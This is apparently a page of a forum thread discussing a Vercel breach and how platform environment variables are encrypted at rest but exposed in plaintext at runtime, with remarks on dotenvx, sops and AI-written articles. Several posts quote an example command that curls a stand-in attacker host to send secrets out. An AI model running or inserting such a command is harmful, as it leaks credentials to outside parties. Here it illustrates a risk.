[flagged]
A Roblox cheat and one AI tool brought down Vercel's platform
31–40 of 186 posts
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#32Earlier quoted context omitted.
Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it.
However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#33This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.
I thought the same. Normal people don’t write that way.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#34Convenience is our Achilles heel, as a society. We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv. We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy. We'll let AI run that thing for us, because it's just too easy. A whole generation has grown up without knowing what it was like to infect your com…
> Convenience is our Achilles heel
More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#35Earlier quoted context omitted.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it. However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.
dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#36Earlier quoted context omitted.
Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
[deleted]
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#37[flagged]
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#38Something has gone screwy with the timestamps on this page... They're saying they were posted "in 8 hours", "in a day", then the last one is "an hour ago"
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#39Earlier quoted context omitted.
I don't know why you are downvoted. The article is AI blogspam, it doesn't have any more factual information than eg https://www.darkreading.com/application-security/vercel-empl... and is full of empty LLMisms. It's depressing people are willing to read this.
Because a comment that just says it's AI generated provides no value to the readers. They could at least provide an alternative link like you did.
It does provide value in that I know I shouldn't read it. It's clearly LLM written after a few glances.
Re: A Roblox cheat and one AI tool brought down Vercel's platform
#40I think this is wrong about what “sensitive” means here. AFAIK, all Vercel env cars are encrypted. The sensitive checkbox means that a develop looking at the env var can’t see what value is stored there. It’s a write-only value. Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless). If you don’t check that box, you can view th…
This is also how other cloud providers do it, eg DigitalOcean.